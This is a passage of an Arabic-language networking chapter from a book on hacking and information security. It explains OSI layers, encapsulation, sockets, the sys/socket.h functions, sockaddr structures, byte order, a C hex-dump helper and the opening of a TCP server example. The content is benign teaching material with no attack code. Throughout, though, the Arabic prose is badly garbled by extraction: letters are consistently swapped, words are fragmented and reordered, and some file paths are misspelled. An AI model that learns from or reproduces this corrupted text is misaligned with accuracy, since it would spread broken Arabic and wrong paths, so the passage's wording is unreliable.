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نهم:  لاحظ معي ذذه الصورة التي توضح دور كلاً م 

ح عملية انتقال  عبر الانترنت باستخدام الطبقات التي شرحناذا، غير  serverللى  clientمن  messageالصورة تُوضِّ

 :كما نرى في الشكل Applicationل ذي ا ةيتم اطتزال أول ثلاث طبقات في طبقة واحدعامة الة الالحأنه في 

 

 :Dataفهوم يَخُصّ عَمَلية لرسال واستقبال ال لم   نأتي
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تُمثَِّل قهي  ةوكما تعني الكلم ،Headerعلى ذيئة  Packetأثناء عملية الإرسال تقوم كل طبقة بإضاقة بياناتها على ال 

"Head" لهذه ال  أو رأسPacket ول ال أو عنوان لها، وبالتالي قأثناء نزpacket  من أعلى للى أسفل، يَزداد حجم ذَذا

ا كُل طَبَقَ  ةب سَبَب عَملية الإضاق Headerال  ه ال  ، (Appending its Header info) ةالتي تقوم بِ  نُعَبرِّ عَن ذَذ 

process  :ب الُمصطَلح“Encapsulation” ..ن أسفل للى أعلى ، حيثُ أن  وفي الجهة الأطرى سَيَسير الأمر ب العَكس!، م 

د ال  ةوذَكذا،.. وبالتالي كل طبق Data-Linkأولاً ثُم  ال  Physical Layerقد وصلت للى ال packetال  منهم ستتفق 

Header  هَة الأطُرى، ثُم تقوم ب نزَع ذذا ال مُاّ يُؤدي للى تَناقُص حجم   ،Headerالذي أضاقته الطبقة الُمناظ رة لها في الج 

 .”Decapsulation“بِذا الُمصطَلَح:  Processصَعَدنا لأعلى. ونُعَبرِّ عن ذذه ال كلما  Headerال 

 :Decapsulationوال  Encapsulationالشكل يوضح عملية ال 
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ن لسم الطَبقةمَتب H بيَت م لضاقتهُ  Headerيَظهَر في الشَكل تَسميَة كُل  ظ مَعي أن  ال  ..وعاً بأول حَرف م   routerلاح 

وأعاد صياغته بحيث  frame headerلقد قام بنزع ال  ،جُزئي Decapsulationقامَ ب عَمَل  Packetسيرة ال أثناء مَ 

 Hostللى ال  packetوأعادَ لمرار ال  .Subnetالأطرى من ال  ةالخاص بالجهاز الذي يقع في الجه MACيتضمن ال 

ل  Decapsulationحيثُ يَحدُث ال   .end userال  على شاشة ةب صيغت ها الَمقروء messageال  كي تظهرلديه الكام 

نا ب شرحها قوق: ةما يلي بعض البروتوكولات الخاص  بالطبقات التي قُم 

 

 

 :Processes Communicating ملاحظة بخصوص ال ذناك 

 بين Sessionقهذا يعني أنه لابد أن تكون ذذه ال  Client-Serverمن نوع  Communication Sessionعند لنشاء 

ل  .!Servers جهاز كمبيوتر مثلاً و أحد ال  أيضاً  Sessionآطَر ويبقى نوع ال  Serverب  Serverرُبما يَتص 

"Client-Server." 
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 ؟..Sessionsلذاً.. قما تعريف ذذا النوع من ال 

ن يتصل بِا التي تنتظر أ Processوال  ،Client التي تقوم بالبدء بإنشاء الاتصال بال Processنقوم بتعريف ال 

 .Server بال Sessionأحدذم لتبدأ معه ال 

 

 لنعُطي مثال: 

ل رسالة بَريد للكتروني ل شَخصٍ ما، يقوم ال  ندما تُرس  مثلاً على جهازك  Outlookالخاص بك وذو ال  Agentع 

صديقك، الخاص ب Mail Serverالخاص بك، ثم يقوم ذو بدوره بإنشاء اتصال بال  Mail Serverبالتواصل مع ال 

 !،Client-Serverوبالرغم من ذلك قهو من نوع  Mail Serversالآن يحدث بين ال  Communicationلاحظ ال 

و نُطلق عليه  Serverذو ال  والآطر ”SMTP Client“ونُطلق عليه  Clientالخاص بك ذو ال  Serverقيكون ال 

“SMTP Server”. 

 

 !؟ Network Protocols و ال Layers Networkبين ال  مالعلاقه ولكن

 تصََر لها:مُُ تعريف مايلي  ..يتبقى لنا بروتوكولات الشبكات ،Network Layersال على علم بالآن  نحن

 

Networking protocols specify what types of data can be sent, how each type of message will be 

identified, what actions can or must be taken by participants in the conversation. precisely.. 

“Where in the packet header each type of required information will be placed”. 
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The Socket 
 

أحياناً تحتاج  .O.S على ذذا ال Processقُمنا ب فَتح  لكبذ قنكونعندما نقوم بتشغيل برنامجٍ ما على الكمبيوتر، 

ج أو الالبَر  ها البعض على نفس ال (Processes) ام  ى ، O.S أن تتواصل مع بعض  نَ التواصُل يُسَم 
ذذا النوع م 

“Interprocess Communication”. ضها ال قق قوانين يَفر   الُمضيف لهم. O.S ويَحدُث و 

 .ذذا جيد!

أو كما نُطل ق ، Hostتي لا تقع في نفس ال ال Processesبين ال  communicationsولكننا ذُنا ب صَدَد التركيز على ال 

 .”Processes on two different end systems“عليها 

الأطرى قنحن  Processللى ال  Packetبإرسال رسالة أو  Applicationsأو ال  Processesولكي تقوم أحد ذذه ال 

 Processوتقوم ال  ،ةبإرسال الرسال Processوبالتالي تقوم ذذه ال  ".underlying network"للمُرور عبر ال  ةبحاج

َ مَن فَذ وَهمي  ذذه ال ".. Software Interface"أو  (Logical)الثانية في الجهة الأطرى باستقبال تلك الرسالة عَبر 

Software Interface  نُطل ق عليها“Socket”. 

 

 .لذاً؟ ”Socket“قما ذو ال 

بارَة عَن   .Hostلَدَى ال  Transport Layer و ال Application Layerتَقَع بين ال  Interfaceلنهُ ع 

 

 :Socketتوضح ال التالية الصورة 
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  :بمايلي Socketال  وظيفة وبلغة البرمجيات، نقوم بتعريف

“It can be used to send or receive data over a network”. 

 

ج الذي يَقوم ب تصَميم ال  ذَكرنا د نوع البروتوكول المُستَخدَم في عَملية لرسال ال Applicationسابقاً أن  المُبرم   سَيُحدِّ

Data ،وذلك تبعاً ل نوع ال Application ،دمَة ال م لَنا ط  دمَة  .. Video Streamingقَمَثلًا: اليوتيوب يُقدِّ ه الخ  ذَذ 

يلها للينا كمُستخدمين عَبَر بروتوكول ال   Internet Telephonyامج كال بينما عند تصميم برن ،TCPيقوم ب تَوص 

قلدينا  ..TCP & UDPوبما أننا لدينا نوعان رئيسيان من بروتوكولات الاتصال  .لأقض UDPقيكون استخدام ال 

 .ةالتالي ة، نستعرضهم في الصفح”Sockets“أيضاً نوعين رئيسيين من ال 
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Stream Sockets 

ن نوع !، فيةالهاتفي ةقكرة عمله أقرب للى ق كرة المكُالمََ   ا م  د  ،”Two-way Communication“ كونه  بمعنى أنه ب مُجَر 

نَ  هُ م  نَ الكلام الذي  يَسمَع 
نهُم التأكُد م  ن لأيِّ م 

نهُم التحدُث، كذلك يُمك  ن لأيِّ م 
قَتح قناة الإتصال بينهم قسيمُك 

أو لا، أو أن يُعيد لهُ الكَلام لن  أراد!..  الطَرَف الآطر ب أن يَسأله: ذل قُلت كذا وكذا؟ ويُمك ن للآطر أن يُجيب بنعم

لأننا  ذُنا مُهتمين بإيصال ال ، TCP سيستخدم ال Socketsلابُد  وأنك قَد عل متَ بأني أقصد أن  ذذا النوع من ال 

Packets  ة  !.Errorsدون حُدوث أي 

ندَما يَقوم مُتصَفِّ  ن قنوات الإتصال ع  أو  Mail Servers حَك مَثلًا بالإتصال بال ولذلك يَت م استخدام ذذا النوع م 

Web Servers .!في أي مكان 

 

Datagram Sockets 

قإذا كانَ الأول يُشب ه مُكالَمَة الهات ف، قَهَذا ، ”One-way Communication“ القكرة ذُنا يكون الاتصال أقرب للى 

ند سالة عَبَر البَريد!، ذل تتذَكر ع  ن يُشب ه عَمَليّة لرسال ك ل ر  مَة م  ك في أحد الإطتبارات الُمقد  ثُم  تقوم ، Cisco نَجاح 

حلة وصولها لليك  US Mailل تنتظر ذذا ال  ،Hard copyب طَلب الشهادة ك  ق ر  ل لكَ الشهادة، ورُبما تستغر  كي يُرس 

ن شهر! أليس كذلك؟، ورُبما أيضاً يَ  لك شيء!..أكثر م  ل ال  ،UDPوكول ال ذذا أشبه ب بُروت تعَثّر الأمر ولا يَص  لنه يُرس 

Packets .يغة  ولا يَضمَن لَك الوصول ن ذَذا الدرس أن تَطلُب الشَهادات ب ص  مَن  PDFقتتعل م م  تض 
بعد ذلك ل 

 ..  حُصُولك عَليها

ح استخدام ال  ظ في الشكل  .Server و Clientأثناء عملية اتصال بَين  Stream Socketما يلي أشكال توضِّ  الأوللاح 

عند انتقال  والعكس inputعلى ذيئة  Serverثُم  للى ال  Bufferالخاص ب الجهاز سيذذب للى ال   output streamالأن  

 .clientللى ال  Serverمن ال  dataال 
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 .انتهينا من ذذه المرحلة الأولية للى ذُنا نكون قد

 

على الأساسيات التي  ةسنعتمد في الفقرات القادم. انتبه!، برمجية مُستخدمين الأكواد الق قليلاً تعَمُّ بال سنبدأوالآن 

 تناولناذا في الباب الأول.

 

 

 ذيا.. ل ننطَلق!..
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Socket Functions 

 

ر ال  لكُل  identifyل عَمَل " file descriptor"التي شرحناذا في الباب السابق؟، كُن ا نستخدم ال  file accessذل تتذك 

أيضاً  لها لدى نظام التشغيل. referenceب رَبط ذذه العملية برقم ل يكون بمثابة  kernelذلك بقيام ال ملف يتم قتحهُ و

م  Socketsال  داء عَمَل Functionsتتعامَل ب نَفس الَمنط ق، وتَستَخد  م الأيضاً لأ  مَجموعة  file access ها كما كانَ يَستخَد 

نَ ال  ثل  functionsم   .( )readو  ( )writeم 

ه ال  defineتَم  عَمَل  ذَ  لها ال  functionsله  ه ال  Socketالتي يَستَعم   :Libفي ذَذ 

<Sys/sockets.h> 

/usr/include/sys/socket.h 

 :Libما يلي أول سطور من ذذه ال 

 

/* Declarations of socket constants, types, and functions. 

   2:    Copyright (C) 1991,92,1994-2001,2003,2005,2007 

   3:    Free Software Foundation, Inc. 

   4:    This file is part of the GNU C Library. 

 

 :Sys/Socket.h Libraryبال  ةالأساسية الخاص functionsذذه بعض ال 

ية لا بأس بِا من الفصل السابق وب ما أنه قد تَكَونَت لديك طلف .ةوظيفتها بطريقة مُُتَصَرَ  functionمُوضّح أسفَل كُل 

داطل الأكواد في  قوم بتوضيحهم مرةً أطرىنوس بإذن الله. %60قأعتقد أنك سَتَفهَم وظيفتهم بنسبة تتجاوز ال 

 الفَقَرات القاد مَة.

  
socket(int domain, int type, int protocol) 

Used to create a new socket, returns a file descriptor for the socket or -1 on error. 
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connect(int fd, struct sockaddr *remote_host, socklen_t addr_length) 

Connects a socket (described by file descriptor fd) to a remote host. Returns 0 on success and -1 

on error. 
 

 
bind(int fd, struct sockaddr *local_addr, socklen_t addr_length) 

Binds a socket to a local address so it can listen for incoming connections. Returns 0 on success 

and -1 on error. 

 
 
listen(int fd, int backlog_queue_size) 

Listens for incoming connections and queues connection requests up to backlog_queue_size. 

Returns 0 on success and -1 on error. 

 
accept(int fd, sockaddr *remote_host, socklen_t *addr_length) 

Accepts an incoming connection on a bound socket. The address information from the remote 

host is written into the remote_host structure, and the actual size of the address structure is 

written into *addr_length.  

This function returns a new socket file descriptor to identify the connected 

socket or -1 on error. 

 
 

send(int fd, void *buffer, size_t n, int flags) 

Sends n bytes from *buffer to socket fd; returns the number of bytes sent or -1 on error. 

 
 

recv(int fd, void *buffer, size_t n, int flags) 

Receives n bytes from socket fd into *buffer; returns the number of bytes received or -1 on error. 

 

 : مورذذه الأ تحديدقوم بسن ، Socketلاحظ أنه عند لنشاء ال 

 

Domain 

 أم غيرذم!. IPv6أم  IPv4قمثلًا يمكنك تحديد ما اذا كنت ستتعامل مع  Protocol Familyوذو نوع ال 
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Type 

ا ال   .TCP or UDP ما لذا كان Socket Typeونَعني بِ 

 

Protocol 

نا نوع ال  unspecified..ب مَعنى  0سَنَتُركها   .مُسبَقاً الأولى  Argumentفي ال  protocolلأننا حَدَد 

 

ه ال  َ ذَذا المَسار: defineتَم  عَمَل  protocol familiesذَذ   bits/socket.h/ لَها عَبر 

ة أجزاء.. libraryسَنأطُذ مُحتويات ذذه ال  د   على ع 

 

 :protocol familiesلنبدأ بأول جزء، وذو الخاص بال 

/* Protocol families. */ 

#define PF_UNSPEC 0 /* Unspecified. */ 

#define PF_LOCAL 1 /* Local to host (pipes and file-domain). */ 

#define PF_UNIX PF_LOCAL /* Old BSD name for PF_LOCAL. */ 

#define PF_FILE PF_LOCAL /* Another nonstandard name for PF_LOCAL. */ 

#define PF_INET 2 /* IP protocol family. */ 

#define PF_AX25 3 /* Amateur Radio AX.25. */ 

#define PF_IPX 4 /* Novell Internet Protocol. */ 

#define PF_APPLETALK 5 /* Appletalk DDP. */ 

#define PF_NETROM 6 /* Amateur radio NetROM. */ 

#define PF_BRIDGE 7 /* Multiprotocol bridge. */ 

#define PF_ATMPVC 8 /* ATM PVCs. */ 

#define PF_X25 9 /* Reserved for X.25 project. */ 

#define PF_INET6 10 /* IP version 6. */ 

... 
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 :Socketsالجُزء الثاني وذو طاص ب أنواع ال 

/* Types of sockets. */ 

enum __socket_type 

{ 

   SOCK_STREAM = 1, /* Sequenced, reliable, connection-based byte 

streams. */ 

#define SOCK_STREAM SOCK_STREAM 

   SOCK_DGRAM = 2, /* Connectionless, unreliable datagrams of fixed 

maximum length. */ 

#define SOCK_DGRAM SOCK_DGRAM 

... 

 

 :وذم Socketsلاحظ نوعي ال 

Stream (TCP)  

Datagram (UDP) 

 

 

Socket Address 

 

 لأربعة متغيرات أساسية ذي: ةة الاتصال بين طرقين قنحن بحاجكما نعلم أنه لإنشاء قنا

Source Address, Source Port, Destination Address, and Destination Port 

الذي نحتاجُهُ في عملية  ”Socket Address Structure“ التي شرحناذا بالأعلى بتحديد نوع ال functionsتقوم ال 

ح العامة لل ب Address Structure الاتصال، نقصد بال  object المُستخدَم، قمثلاً الملامح العامة لل Addressالَملام 

صَة لل bits 32و ،address familyلل  bits 16 تكون عبارة عن IPv4 Address الخاص بال  bits 16 و، IP مُُصَ 

صَة لل . Address Familyوذكذا مع بقية ال . .IPv6الخاص بال  objectوذذا ب الطَبع يَختلف عن ال  Port No مُُصَ 

 .!ثاب ت وقارغ Structureبالتالي نَحنُ ب حاجَة للى 
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مه Address Structureيُمك نُنا مَلئهُ حَسَب نوع ال   .. لذاً قَما الحل؟الذي سَنستخَد 

ر الدلو  Structسنستخدم ال  كُّ ذه المهُمة!، ذل تَذ  فَ قُمنا باستنساخ أشكال وكي، ؟الذي تحدثنا عنه في الباب الأولله 

  .(Objects) ، وأطلقنا عليها اسمتُشب ههُ تَماَماً 

رُك بمثال ال قنا ،time.c دعني أُذَكِّ غَ  Struct tm كُنا قد عَر  نهُ ةب ه  مُتغيرات قار  وقُمنا بملئ ذذه  ،Object، ثُم  أطذنا م 

ل ذذا ال  Elementsالُمتغيرات أو ال   .Objectالموجوده ب داط 

 

ها وك تابتها مُسبقاً  OSI Layersوال  Socketsالخاصة بال  Structsسَنقوم ذُنا أيضاً باستخدام بعض ال  التي تَم  تَعريف 

 .”Struct tm“ كَما قعلنا في حالة ال

 

بارة عن، لهُ  bytes 16حيثُ تم تَخصيص  .."sockaddr"نُسَميه   ..العام Structشاذد ال نُ سَ  يَ ع   :ذ 

(2 bytes)  صَة لل صَت لل  (bytes 14)وال  ،Address Familyمُُصَ   .Address Dataالُمتبقية طُص 

 ذذا ذو شكله:

 

 

ظ عَدَد الخانات في الشكل   . bytes 16 ، أوةطان 16لاح 

 الكود الذي يُعبرِّ عنه: ذو وذذا
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/* Get the definition of the macro to define the common sockaddr 

members. */ 

 

#include <bits/sockaddr.h> 

/* Structure describing a generic socket address. */ 

 

struct sockaddr 

{ 

__SOCKADDR_COMMON (sa_); /* Common data: address family and  

                            length. */ 

char sa_data[14]; /* Address data. */ 

}; 

 

ن ذذه الوصلنا لآطر جُ    Address Familiesوذو ال   Lib زء نُريدهُ م 

 
/user/include/bits/socket.h 

/* Address families. */ 

#define AF_UNSPEC PF_UNSPEC 

#define AF_LOCAL PF_LOCAL 

#define AF_UNIX PF_UNIX 

#define AF_FILE PF_FILE 

#define AF_INET PF_INET 

#define AF_AX25 PF_AX25 

#define AF_IPX PF_IPX 

#define AF_APPLETALK PF_APPLETALK 

#define AF_NETROM PF_NETROM 

#define AF_BRIDGE PF_BRIDGE 

#define AF_ATMPVC PF_ATMPVC 

#define AF_X25 PF_X25 

#define AF_INET6 PF_INET6 

… 

 

 .IPv4 الخامس في الترتيب ذو الذي يُعَبرِّ عن ال Address Familyلاحظ أن ال 

AF: Address Family, PF: Protocol Family 
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ثال ل    IPv4طاص بال  ”Socket Address“لنتبه له قسنقوم باستخدامه باستمرار بقية الفصل.ذذا م 

/* Structure describing an Internet socket address. */ 

struct sockaddr_in 

{ 

   __SOCKADDR_COMMON (sin_); 

   in_port_t sin_port;           /* Port number. */ 

   struct in_addr sin_addr;            /* Internet address. */ 

 

/* Pad to size of 'struct sockaddr'. */ 

unsigned char sin_zero[sizeof (struct sockaddr) - 

   __SOCKADDR_COMMON_SIZE - 

   sizeof (in_port_t) - 

   sizeof (struct in_addr)]; 

}; 

 

 ذكذا يكون شكله )الشكل الثاني(:

 

ساحَة  ،IPv4 Socketوالثاني ذو ال  ."General Socket"الأول ذو ال  Socketكما تُلاحظ.. أن  ال  غَل م  وك لاذم يَش 

16 bytes ، ظ مَع ي وجود عَدَد  تَحتَ عنوان  IPv4الخاص ب ال  Structureفي ال  8bytesلَك ن ذَل تُلاح 
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لة باقي ال  .؟؟ "Extra padding" ال نَحنُ ب حاجَة  ..لأنهُ كَما تَعلَم ..bytes 16لَقَد تَم  لضاقتهم دون حاجة، وذذا ل تَكم 

 : لمايلي قحسب!

 
- 2 bytes for “family type” 

 “port number” - and 2 bytes for  

 “IP Address” field  for(- and (8 bits * 4 = 32 bits = 4 bytes 

 

 .Paddingققط!، قَقُمنا بإكمال الباقي بإضاقة  bytes 8موع قيكون المج

 

 
Big-Endian Byte Ordering 

 

 ”AF_INET Socket address structure“الُمستخدَمان في ال  Port Numberوال  IP Addressمن الُملاحَظ أن ال 

 ”x-86 little-Endian byte ordering”البدلاً من  "Network Byte Ordering" سَيَت بَعان  ال

 

 ..؟Endian ماذذا ال

Endianness refers to the order of the Bytes; It also describes the order of byte transmission over a 

digital link. 

 

Big-endian is the most common format in data networking; fields in the protocols such as IPv4, 

IPv6, TCP, and UDP, are transmitted in big-endian order. 
 

 "..Bits over the link"نَحنُ ذُنا ب حاجَة لإرسال 
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ن عَمَل   ه ال  Convertنُريد استخدام تقنيات الشبكات!،وبالتالي لابُد م  ذَ  التي لن يُمك نهُا العبور طلال  fieldsله 

 !.Little-Endian الشبكة وذي في حالة ال

 كمايلي: Little-Endianبشكل مُُتلف عن ال  Big-Endianمع ال  Memory وتتعامل ال

 كما يظهر في الجهة اليُمنى:  ”Big-Endian ordering“في حالة ال 

ن اليسار للى اليمين. inputقلو أردنا تخزين ذذا ال    في الذاكرة قَيَتم ق رائتهُ م 

The most significant byte (MSB) value, "0A" is at the lowest address 

 

 

 سيتم قرائته من اليمين للى اليسار." Little-Endian" وفي حالة ال

The least significant byte (LSB) value, "0D", is at the lowest address. 

 كما ذو موضح في الجهة اليسُُى.

 
 .. سأذكُرذا لك:Conversionبعمل ذذا ال  functionsتقوم بعض ال 
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htonl(long value) Host-to-Network Long 

This function converts 32-bit (4-byte) quantities from host byte order to network byte order. htonl means 

host to network long! 

 
htons(short value) Host-to-Network Short 

This function converts 16-bit (2-byte) quantities from host byte order to network byte order. 

 
ntohl(long value) Network-to-Host Long 

This function converts 32-bit quantities from network byte order to host byte order. 

 
ntohs(long value) Network-to-Host Short 

This function converts 16-bit (2-byte) quantities from network byte order to host byte order. 

 

 
Conversion between IPv4 and 32-bit int 

 

قلن  "the internet standard dot notation"مثلاً والتي يُطلق عليها  54.208.202.125عندما نكتُب ذذه الصيغة 

ن functionsحيث أن ال  !،Socket يفهمها ال ومن ذُنا ظهرت الحاجة ل تَواجُد  "bits order-32"لهُ تتعامَل بال  ةالُمكوِّ

functions  تقوم بالتحويل من الASCII  32"للى ال-bits integer" .!والعكس 

 .functionsدعنا نلق  نظرة على ذذه ال 

 

 الأولى: function ال #

inet_aton(char *ascii_addr, struct in_addr *network_addr) 

 

This function converts the specified string in the Internet standard dot notation “*ascii_addr” 

to a network address “*network_addr”, and stores the address in the structure provided 

“struct in_addr”.  

The converted address will be in Network Byte Order (bytes ordered from left to right). 
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!، لنه  ؟struct in_addrر ذذا ال كُ ذّ ذل تَ  تَم   bits int-32بصيغة ال  IP Address يحمل ال Structدعني أُذَكّرك ب ه 

ل ال تعريفه   ، AF_INETالخاص بالعائلة "Socket address structure"داط 

تَج دهُ على . in.h ا في الملفالذي يُعَبرِّ عَنه Structureلل  Defineتم عمل Address Family for IPv4. وذي ال 

 : Linuxالَمسار التالي في ن ظام 

uer/include/netinet/in.h 

ندما قُمنا بمقارنته  بال   لعملية التحويل من ا توضحمايلي مُعادلة  ..General Structureوقد استخدمناهُ مُسبقاً ع 

"IP Address in Dotted notation" ال  للىinteger. 

ض أن    كما يلي: Addressال  ل نَفر 

The address is aaa.bbb.ccc.ddd 

 قتكون معادلة التحويل كالتالي:

 number = (aaa*256^3) + (bbb*256^2) + (ccc*256^1) + (ddd*256^0) 

 

 (0)وأصغر رقم سيكون  ،(Address: 255.255.255.255)لأنه الرقم الُمقاب ل لل  4294967295سيكون   أكبر رقم

ظ أن  ذذا ال ، (Address: 0.0.0.0)المُقاب ل لل  لأنه الرقم لأنهُ لا يُفتَرَض  ،unsignedلابُد  أن  يكون  integerلاح 

ل رَقَم سال ب!. IP وجود  يَحم 

 

 :الثانية function ال #

ن ال و ل م   ستكون على ذذا النحو: ASCIIللى ال  Networkالتي ستحُوِّ

inet_ntoa(struct in_addr *network_addr) 

 

“This function converts the specified Internet host address to a string in the Internet standard dot 

notation”. 
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The error.h 
 

رك ب بَعض ال  ثال ال  Functionsأُحب أن  أُذ كِّ  تَحديداً..  Heapالتي كُن ا قَد  استخدمناذا في الفصل الساب ق، في م 

 . ( )fatalوال  ( )ec_malloc لنها

 سأضعهم لَك مجدداً..

// A function to display an error message and then exit 

void fatal(char *message) { 

   char error_message[100]; 

   strcpy(error_message, "[!!] Fatal Error "); 

   strncat(error_message, message, 83); 

   perror(error_message); 

   exit(-1); 

} 

 

// An error-checked malloc() wrapper function 

void *ec_malloc(unsigned int size) { 

   void *ptr; 

   ptr = malloc(size); 

   if(ptr == NULL) 

       fatal("in ec_malloc() on memory allocation"); 

   return ptr; 

} 

 

د includeمهم بشكل مُستمر، قسنقوم بوضعهم في ملف بما أننا سوف نستخد  .ةل نستدعيهم وقت الحاج ةعلى ح 

 .error.h سنطُلق عليه

ج ال  .؟packet analysis ذل سَبقََ لك التَعامُل مع برام 

ث ل ال  َ كارت الشَبَكَة لَديك يَت  ، TCPDump أو wiresharkم  م التقاطها عَبر 
م عَرضها ستُلاحظ أن البيانات التي يَت 

يئة ال  َ د البَيانات بِ 
يَغ، قَمَثلًا.. تَج  دّة ص  َيئة ال  Hexadecimalب ع  يَ اللُغَة الَمقروءة لَنا. ASCIIو أيضاً بِ   وذ 
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ه الصورة: َذ  دهُ بِ 
 يُمك نُنا تلخيص ما نُشاذ 

 
 

وذلك بحد أقصى  Hexال  حيث يتم عرضها بصيغة، memory في ال ةنقوم بتخزين البيانات الُمستلَمَ كما ترى قنحن 

16 bytes ثم على اليمين نطلب منه لظهار ال في الصف الواحد ،"Printable bytes"  ّالُملتَقَطَه من ذذه البيانات، أي

 !:ةوالآن سنقوم بك تابة كود صغير يقوم بِذه المهُمة الرائع بواسطة الكيبورد. ةالأحرف أو الرموز الَمكتوب

 

بار ن قيه ال  bufferعن  ةذذا الكود ع   "،length of received bytes"لنضع به ال  integer، و ةالمُستلَمَ  bytesنُخزِّ

ن طلاله  عدد ال  ف م  ر   .الُمستلَمَة bytesكي نَع 

ولكن ليست ، Hex وبصيغة ال bytes 16كي يتسنى لنا عرضها بصفوف لا تتجاوز ال  bytesلتقوم ب عَد  ال  Loopثم 

 ..  ”02x%“ بل ستكون ،x%تلك ال 

 .؟؟ةولماذا استخدمنا ذذه الصيغ

 2ذنا قبل ال  (0)وذكذا.. ووجود ال  digits 2اترك بعدذم مساقة، ثم ثُم  ،digits 2لطبع  لأن ذذه الصيغة تعني:

 وذو لكمال الحقول الفارغة بأصفار. ”prepend it with zeros if there is less“نعني به 



 Understanding Hacking and Information Security                                                  وأمن المعلومات  ةلكترونيالقرصنة الإ

Networking 
 [134] 

رذا على اليمين كما  كي printable charactersولكن لالتقاط ال  مرةً ثانية Loopثم نقوم بعمل   .رأيت!نُظه 

 

يها  Functionبالالكود الخاص  مايلي  :( )Dump، سنسُمِّ

// Dumps raw memory in hex byte and printable split format 

void dump(const unsigned char *data_buffer, const unsigned int length) 

{ 

   unsigned char byte; 

   unsigned int i, j; 

   for(i=0; i < length; i++) { 

     byte = data_buffer[i]; 

     printf("%02x ", data_buffer[i]);   // Display byte in hex. 

     if(((i%16)==15) || (i==length-1)) { 

        for(j=0; j < 15-(i%16); j++) 

            printf(" "); 

        printf("| "); 

        for(j=(i-(i%16)); j <= i; j++) { // Display printable bytes from line. 

            byte = data_buffer[j]; 

            if((byte > 31) && (byte < 127)) // Outside printable char range 

                 printf("%c", byte); 

            else 

                 printf("."); 

       } 

        printf("\n");   // End of the dump line (each line is 16 bytes) 

     }   // End if 

   }   // End for 

} 

 

 ..ذُم:Parameters”  “Two تأطُذ functionذذه 

ذو  والثاني، البيانات الذي سنتوقع استقبالها حديد مساحته نحن بناءً على كَمسنقوم بت "pointer to a buffer" الأول

integer  ل يَقوم ب عَملcount  جَم ت لك ال سالة bytesلح   Loopثُم ندطُل للى ال  ".received … of bytes" ل يَطبعَ لَنا ر 
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 وبحد أقصى Hexلعرضهم بصيغة ال  ةنا بحاج، وكما قُلنا مسبقاً أنةمن أجل عرضها على الشاش bytesلنقوم ب عَد  ال 

16 bytes  ..في الصف الواحد 

 لتقوم لنا بأمرين: Ifالأطير ذذا يُعتبر شرطاً!، أليس كذلك؟، قسنستخدم له دالة 

 قصل بين كل  الأول: ستقوم بعمل"two digits " قدار مَساقَتَين  ".two spaces"ب م 

  ل ال ح  "two spaces"متبوع ب  "|"تقوم بوضع الرمز س 16رقم  byteالثاني: عندما يكتَم  أيضاً كما ذو موض 

 في الكود.

 ".bytes of Hex 16"؟ وذي التي تأتي بجانب ال Printable dataوالآن ماذا عن ال 

ه ال  Loopسنقوم أيضاً بعمل  ل ذَذ  نها ال bytesأُطرى داط   .printable characters ل نلَتَق ط م 

 لغير مألوف!ولكن ما ذذا الشرط ا

if((byte > 31) && (byte < 127)) 

 

 .؟127و أصغر من  31ماذا نعني بأكبر من 

ولذا صادقت عناصر طارج  characterمن ال  rangeذذا شرط يُحدد لنا عدم ط باعة العَناصر التي تقع طارج ذذا ال 

 .ققط  (.)ذذا النطاق، قلن تقوم بعرضها!، ولكن ستطبع بدلاً منها 

 بأي حال؟ 127كن ما ذذه ال نعم.. ول

 ASCII table لنها ال

ASCII, abbreviated from American Standard Code for Information Interchange, is a character-

encoding scheme. ASCII codes represent text in computers, communications equipment, and 

other devices that use text. Most modern character-encoding schemes are based on ASCII, 

though they support many additional characters. 
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 (.if)الخاص بِم، ذذا يوضح لنا أكثر الشرط المذكور في دالة  tableوذذا ال 

 

نا الشرط ل يقوم ب ط باعة ال  د   في الكيبورد، ونَحنُ  Delتعني  127قَمَثلًا  ،(127و  31)الواق عَة بين ال  charactersلقد حَد 

نهُ. (dot) قسنقوم بطباعة bytesولك ن لذا ظَهَرَ في ال لا نُريدهُ في نَتائج الكود!.    بَدَلاً م 

 

  .جيد!!

رمها ب شَكل مُ خداستقسيتم ا .. error.h أيضاً للى الملف functionسنقوم بإضاقة ذذه ال   .تكرِّ
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Some Definitions 

 

بُ أن أنذُ  ه الفَقرَه،قب تحدث عنهماكَ نُقطتين أُح  ن ذَذ   #Define و ال Function Prototype وذُم ال لَ الإنتهاء م 

 

 

Function prototype 

 ":function prototype"ذذا تعريف ال 

a function prototype or function interface is a declaration of a function that specifies the 

function's name and type signature (parameter types, and return type), but omits the function 

body. While a function definition specifies how the function does what it does (the 

"implementation"), a function prototype specifies its interface. 

 

ه مُسبقاً في بعض الأكواد، سأوضح لك ما يعنيه بمثال:لقد استخدمنا  

Consider the following function prototypes: 

 

int myfunction(int n); 

This prototype specifies that in this program, there is a function named "myfunction" which 

takes a single integer argument "n" and returns an integer. 

 الفعلية!. functionوفي مكانٍ ما داطل البرنامج سيتم كتابة ذذه ال 

 

 

#Define 

مه في الأكواد القادمة، ذو في الحقيق Directiveذذا ال  لكنهُ ليس  variableيُشبه ال  ةكما يُطلقون عليه، أيضاً سَنسَتخد 

 define#قال  "،constant name"ستمرار، بينما الآطر يُعتَبَر كذلك!، قالُمتغير يُمكن للبرنامج أن يتحكم في قيمته با

ن استخدام ذَذا ال  نكُ م  د في أي مكان داطل الكود const valueذذا يُمَكِّ ندَما نُحَدِّ ب عَينه  ل نسَتَقب ل  port، قَمَثلًا ع 
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ذَا ال  defineالإتصال عَليه، قَسَنقوم ب عَمَل  هُ بالآتي: في ب داية البرنامَج بأ portله  قُم  portمتى ما وجدت لفظة "ن نُخبر 

ه   ا ب رَقم   كما يلي: 3544وذو مثلاً  ،"باستبداله 

 
#define port 3544 

 

ز نالقد أَصبحَ  ..ستقبال الفقرة القادمةلا   ينالآن جاذ 

 ".Socket functions"مثال عملي باستخدام ال  بطرحسنقوم 

 

 

Server Example 

 

ققاً لم ا يلي: clientمن ال  sessionيقوم بانتظار ال  Serverم بكتابة كود ل في ذذا المثال سنقو  و 

The server listens for TCP connections on port 6900, and when a client connects, 

 it (the server) sends a message “Hello, Server”. 

ن ذَذا ال  Dataثُم  يَبدأ باست قبال   .connection أن يَت م غَلق ال للى clientم 

 

 

 ذيا لنشاذد التفاصيل:

#include <stdio.h> 

#include <stdlib.h> 

#include <string.h> 

#include <sys/socket.h> 

#include <netinet/in.h> 

#include <arpa/inet.h> 

#include "error.h" 
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#define PORT 6900 // The port users will be connecting to 

 

int main(void) { 

  int sockfd, new_sockfd; // Listen on sock_fd, new connection on new_fd 

  struct sockaddr_in host_addr, client_addr; // My address information 

  socklen_t sin_size; 

  int recv_length=1, yes=1; 

  char buffer[1024]; 

   

